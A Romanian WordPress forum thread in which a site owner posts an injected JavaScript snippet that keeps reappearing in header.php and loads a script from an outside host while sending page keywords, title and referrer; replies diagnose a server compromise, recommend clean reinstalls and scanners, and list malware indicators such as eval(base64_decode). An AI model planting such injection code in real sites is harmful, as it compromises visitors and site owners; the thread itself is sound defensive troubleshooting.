Help! Cod suspect in header.php wp

Salutare.

De cateva zile tot gasesc headerul modificat. Il sterg si reapare.

"<script>var a='';setTimeout(10);if(document.referrer.indexOf(l ocation.protocol+"//"+location.host)!==0||document.referrer!==undefine d||document.referrer!==''||document.referrer!==nul l){document.write('<script type="text/javascript" src="http://www.sportingcastelguelfo.it/js/jquery.min.php?c_utt=K85164&c_utm='+encodeURICompo nent('http://www.sportingcastelguelfo.it/js/jquery.min.php'+'?'+'default_keyword='+encodeURICo mponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(met as){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window. location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.r eferrer)+'&source='+encodeURIComponent(window.loca tion.host))+'"><'+'/script>');}</script>"

Stie cineva care este problema?

Apare pe toate siteurile de pe server, cele care au wp instalat.
Am toate updateurile la zi.

Multumesc. :)

Salve.
Pasul 1: schimba toate parolele de pe o alta unitate.
Pasul 2: scaneaza-ti unitatea de virusi, posibil de acolo sa fie problema.
Pasul 3: reinstaleaza un wordpress curat. Pune si un bulletproof, ca nu strica. Verifica folderul de uploads, pentru ca multi acolo insereaza fisierele malitioase, acest folder nefiind sters la un fresh install de wp.

Daca tot reapare, posibil sa ai o problema la thema. (desi este putin probabil daca spui ca toate siteurile de pe server au beleaua asta.

Din pacate te-ai virusat. (parerea mea).
Nu este asa de grav, doar ca trebuie atentie la "devirusare". Si ia ceva timp.
downloadeaza backupurile, bazele de date, inclusiv versiunea live.

Apoi spune-ne ce fel de server este, daca e cont shared, vps/dedicat si cu siguranta se va gasi cineva sa te indrume mai departe.

E destul de grava problema. :)

Daca esti pe host shared, iti recomand sa treci pe ceva dedicat. Cu siguranta hacker-ul are acces la server. Nu cred ca vei scapa de problema, mai ales daca problema e de la un alt site.

Ce se intampla, pe scurt. Hacker-ul a gasit un exploit la unul dintre site-uri. Cel mai probabil a putut incarca un fisier php. Cel mai probabil, php-ul poate rula functia exec (PHP: exec - Manual), sau ceva similar. De aici hacker-ul capata acces la server. Toate fisierele. Daca ai indemanare se poate si fara exec :)

Urmatoarele sale prioritati vor fi:

1. sa ascunda cod php in mai multe fisiere pt. a avea acces in continuare chiar daca se rezolva bug-ul initial.
2. sa injecteze cod js in diferite fisiere pt: like pe facebook la diferite pagini / trafic pe alte pagini (iframe ascuns) etc. In general monetizare.

Vestile cele mai proaste:
1. Infectarea fisierelor se face automat (hackerul nu editeaza de mana fiecare fisier)
2. Infectarea fiserelor se face dupa un anumit pattern: scaneaza directoare, vede daca ai wp instalat, modifica fisierele cheie; totul se poate face din php;
3. Daca accesezi un fiser php /js deja infectat, sunt multe sanse sa intample pasii 1 si 2 de mai sus.

Cum rezolvi problema:

1. pleci de pe server;
2. install wp curat / pluginuri; NU pastrezi fisere vechi! (decat daca stii ce faci)
3. update la zi pt. tema / pluginuri;
4. poti incerca sa instalezi iThemes Security si / sau wordfence, dar NU te baza pe serviciul lor de devirusare. (cel free, nu am folosit serviciile platite.)
5. poti urmari cateva tutoriale de aici https://www.wordfence.com/learn/ pentru a intelege mai bine de ce si cum se intampla totul.

** update: Incearca sa vb cu firma de hosting; daca e o problema pe tot serverul s-ar putea sa te ajute.

Multumesc pentru lamuriri si sfaturi. Sper sa rezolv problema cu ceea ce mi-ati recomandat. ;)

Da, esti hackuit/virusat.

Poti citi aici mai mult:

https://blog.sucuri.net/2015/11/jque...-websites.html

Nu e indeajuns sa stergi codul, trebuie stearsa si portita pe care a intrat hackerul, altfel o sa te "re-hackuiasca" constant la cateva zile.

Cel mai probabil nu gasesti nimic dar e bine sa arunci o privire:
Deschide fisierul functions.php al temei active si verifica-l prin comparatie cu originalul. Daca alte fisiere sunt mentionate, verifica-le si pe alea.
Cauti in principiu formulari de forma:

Cod:

---

require_once('cale/fisier.ext');

---

Extensia nu e neaparat sa fie php.
Ce mi se pare ciudat este faptul ca acel cod apare scris chiar in header.php. E ca si cum cel care a facut codul nu cunostea suficient de bine Wordpress...
Gandeste-te si la posibilitatea de a schimba permisiunile pentru header.php (il pui read only) si apoi sa cauti in log daca apare vreo eroare referitoare la asta si ce anume a generat-o.

Iti sugerez sa incerci plugin-ul GOTMLS. Eu l-am folosit cu succes in trecut pentru un hack de care nu reuseam sa scap, iar autorul lui spune ca poate sa elimine infectia: https://wordpress.org/support/topic/...being-injected

Citat:

---

Postat în original de rcostica

Iti sugerez sa incerci plugin-ul GOTMLS. Eu l-am folosit cu succes in trecut pentru un hack de care nu reuseam sa scap, iar autorul lui spune ca poate sa elimine infectia: https://wordpress.org/support/topic/...being-injected

---

Nu conteaza daca poate sa elimine infectia. E posibil sa ai mai multe probleme (diferite) in mai multe fisiere. Clean install. Neaparat!
Si sincer, degeaba elimina problema. Trebuie sa elimine sursa problemei.

Citat:

---

Postat în original de rcostica

Gandeste-te si la posibilitatea de a schimba permisiunile pentru header.php (il pui read only)

---

E inutil. Daca poate edita fisierul ii poate schimba si permisiunile. Defapt, unele tool-urile folosite de hackeri fac asta by default, inainte de a modifica fisierele.

Citat:

---

Postat în original de Mishu

Ce mi se pare ciudat este faptul ca acel cod apare scris chiar in header.php. E ca si cum cel care a facut codul nu cunostea suficient de bine Wordpress...

---

Il cunoaste suficient. Vrea ca scriptul sa fie accesat de fiecare data cand cineva intra pe site. Daca e in header.php, e in fiecare pagina a site-ului.

Daca vrei sa te uiti prin fisiere cauta

in js:
-> exec('cod');
-> atob('cod in base 64'); sau btoa
-> orice cod in base 64 sau encodat sub alta forma;
-> iframe sau referinta la sursa externa
-> search dupa "http://" sau ".com / .ru / " :)

in php:
-> exec / passthru / system; in general tot ce e aici: PHP: Program execution Funcții - Manual
-> file_get_contents(sursa externa)
-> base64_encode sau
-> orice cod in base 64 sau encodat sub alta forma;

Mai jos un filmulet in care se explica tot procesul de infectare. Va recomand sa urmariti.
https://vimeo.com/153926756

Citat:

---

Postat în original de harrvester

..........Il cunoaste suficient. Vrea ca scriptul sa fie accesat de fiecare data cand cineva intra pe site. Daca e in header.php, e in fiecare pagina a site-ului.
.........

---

M-am referit la faptul ca putea sa-si afiseze codul in header fara a modifica fisierul header.php. Asta e oarecum metoda mai putin discreta...

Citat:

---

Postat în original de Mishu

M-am referit la faptul ca putea sa-si afiseze codul in header fara a modifica fisierul header.php. Asta e oarecum metoda mai putin discreta...

---

Cum? Care ar fi metoda mai discreta?

Daca te gandesti la function.php, nu toate temele folosesc.

Daca te gandesti o modificare in core e foarte discutabil. E mai greu de depistat de catre o persoana dar mult mai usor de depistat de un program. In general toate plugin-urile care iti scaneaza site-ul si te protejeaza de ce-i rau, pot compara repositoriurile pluginurilor / temei si a corului pt. a vedea daca exista fisiere distincte. Daca tema e custom made si codul malware il scriu eu (e unic), acesta nu prea poate fi depistat automat.

Fa un scan cu GOTMLS (plugin) dupa care asigura-te ca faci update la absolut tot: wp, pluginuri, tema. Poti sterge tot continutul wp fara wp-content si wp-config sa pui un wp nou sa te asiguri. Dupa iti recomand sa instalezi si pluginul wordfence in paralel cu GOT. Bafta

Citat:

---

Postat în original de harrvester

Cum? Care ar fi metoda mai discreta?

Daca te gandesti la function.php, nu toate temele folosesc.

....

---

Deja nu mai esti pe subiect, dar meriti un raspuns pe masura abordarii.
Deci tu, ca programator, sustii ca nu exista alta metoda de a insera un cod in headerul unui site WP decat prin modificarea fisierului header.php?
E bine de stiut...

Eram curios. Eu, ca programator, nu sunt perfect și nu am experiență mare in wordpress. Poti sa îmi răspunzi, pe lângă subiect sau poți să zici ceva fără să zici nimic (tot pe lângă subiect).

Eu nu susțin nimic. Doar întreb. Nu ai văzut "?" de la sfârșit?

Și sunt noi aici. Trebuie să deschid topic nou pentru o întrebare de genul? Eu mă văd chiar foarte în subiect. Cod dubios - header.php - alte metode de a insera cod. Pare ca se leagă.

Plus ca am vrut sa te întreb pe tine. Pare că știi ceva și vreau să știu si eu. Ești prea sensibil...

hold your horses! nimeni nu stie tot, invatati mai bine de la cine stie ce stie. :)

OK, hai sa nu mai poluam topicul, discutam pe privat daca vrei sa continuam.

Mi-a placut tema wordpress a unui coleg de pe aici si zic sa descarc si eu tema gratuita de la mama ei sa ma joc putin cu ea.

Fiind tema gratuita inteleg sa las in footer link-ul autorului etc dar vad in sidebar-ul din dreapta o reclama care nu isi are rostul.
Iau fiecare fisier din tema la mana sa gasesc linkul ala si descrierea dar nimic .

Apoi vad in theme-functions.php un cod ciudat dupa " eval(base64_decod "

Gasesc pe net jucaria asta ( https: / / perishablepress.com/tools/decoder/ ) decodez acea minune de cod si vad ca, contine link-ul si descrierea ce ma deranja dar si o smecherie cara face tema inutilizabila daca inlaturi link-ul si reclama.

Ce stiti despre acest " eval(base64_decod "?
Prin intermediul acestor chestii ascund baietii cu ochi alungiti link-uri si coduri malitioase ?

https://wordpress.org/support/topic/..._decode-hacked - https://raamdev.com/2013/cleaning-ev...bsite-via-ssh/

Base64 e o forma de criptare a datelor din format binar in format text (https://en.wikipedia.org/wiki/Base64) si da, am vazut-o in multe cazuri pusa in aplicare pentru a ascunde coduri malitioase... dar nu numai.

Citat:

---

Postat în original de IulianC

Mi-a placut tema wordpress a unui coleg de pe aici si zic sa descarc si eu tema gratuita de la mama ei sa ma joc putin cu ea.

Fiind tema gratuita inteleg sa las in footer link-ul autorului etc dar vad in sidebar-ul din dreapta o reclama care nu isi are rostul.
Iau fiecare fisier din tema la mana sa gasesc linkul ala si descrierea dar nimic .

Apoi vad in theme-functions.php un cod ciudat dupa " eval(base64_decod "

Gasesc pe net jucaria asta ( https: / / perishablepress.com/tools/decoder/ ) decodez acea minune de cod si vad ca, contine link-ul si descrierea ce ma deranja dar si o smecherie cara face tema inutilizabila daca inlaturi link-ul si reclama.

Ce stiti despre acest " eval(base64_decod "?
Prin intermediul acestor chestii ascund baietii cu ochi alungiti link-uri si coduri malitioase ?

https://wordpress.org/support/topic/..._decode-hacked - https://raamdev.com/2013/cleaning-ev...bsite-via-ssh/

---

Salut,

1. daca vrei sa ascunzi reclama si mergi pe incredere da-i cu inspect element vezi ce clasa/id are si aplica un simplu display:none in css, eventual si un height: 1px !important; si un overflow:hidden; - asta e varianta de 1 minut cu conditia sa nu iti pese ce e ala

2. daca vrei sa ai un site cu un design exact cum vrei tu, cumpara visual composer, si dupa fa siteul asa cum iti doresti, daca nu ai bani tot il gasesti "free" dar risti sa fie putin infectat, daca esti baiat de treaba poate iti dau eu o arhiva cu el original si o tema pay (fara drept de update)

Bafta

Citat:

---

Postat în original de stefanp

daca esti baiat de treaba poate iti dau eu o arhiva cu el original si o tema pay (fara drept de update)

---

Ce inseamna sa fie baiat de treaba boierule?

Citat:

---

Postat în original de Dan

Ce inseamna sa fie baiat de treaba boierule?

---

Sa nu forteze nota si sa imi ceara sa ii fac tot siteul :D

O observatie lângă subiect

• acum aproape două luni am oferit 10 scanări gratuite de securitate pentru site-uri.
  Ghiciți câte solicitări au fost.

Citat:

---

Postat în original de gupi

O observatie lângă subiect

• acum aproape două luni am oferit 10 scanări gratuite de securitate pentru site-uri.
  Ghiciți câte solicitări au fost.

---

100? :rolleyes:

Citat:

---

Postat în original de stefanp

100? :rolleyes:

---

zero

Citat:

---

Postat în original de gupi

zero

---

M-am uitat in postarile tale si au solicitat. Deci?
Nu imi faci si mie un scan gratuit pentru: thebadass.ro daca tot nu a vrut lumea :D

Citat:

---

Postat în original de stefanp

M-am uitat in postarile tale si au solicitat. Deci?
Nu imi faci si mie un scan gratuit pentru: thebadass.ro daca tot nu a vrut lumea :D

---

e vorba de a doua oferta, cea din 24 martie
O sa-ti dau detalii prin PM dupa pranz. E OK

Ok, mersi!

Citat:

---

Postat în original de gupi

zero

---

Nu cumva pentru ca shared hosting si nu duc serverele?

Citat:

---

Postat în original de Mishu

Nu cumva pentru ca shared hosting si nu duc serverele?

---

Nu, pentru ca trebuie sa dovedesti ca este site-ul tau si pentru ca trebuie trimisa o cerere oarecum oficiala.
Cel care testeaza trebuie sa aiba o acoperire legala, sa nu fie identificat si acuzat ca tentativa de hacking.

Si eu am uitat pur si simplu sa dau mail :)
Probabil altii au considerat greu sa urce un fisier pe server sau sa formuleze un text. Serviciul fiind gratuit, au considerat ca n-are valoare prea mare. Dar are!